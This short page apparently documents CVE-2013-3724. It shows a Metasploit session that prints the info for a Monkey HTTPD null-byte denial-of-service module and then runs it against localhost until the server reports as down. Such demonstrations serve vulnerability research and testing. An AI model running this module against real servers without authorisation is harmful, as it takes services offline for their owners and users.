CVE-2013-3724 Monkey HTTPD DoS

```
msf auxiliary(monkey_null) > info

       Name: Monkey HTTPD Null Byte Request
     Module: auxiliary/dos/http/monkey_null
    Version: 0
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Doug Prostko <dougtko@gmail.com>

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        Use a proxy chain
  RHOST                     yes       The target address
  RPORT    2001             yes       The target port
  VHOST                     no        HTTP server virtual host

Description:
  Sending a request containing null bytes causes a thread to crash. If
  you crash all of the threads, the server becomes useless. Affects
  versions <= 1.2.0.
```
```
msf auxiliary(monkey_null) > set rhost localhost
rhost => localhost
msf auxiliary(monkey_null) > run

[*] Sending DoS packet to localhost:2001
[*] Sending DoS packet to localhost:2001
[*] Sending DoS packet to localhost:2001
[+] Monkey server is down!
[*] Auxiliary module execution completed
msf auxiliary(monkey_null) >
```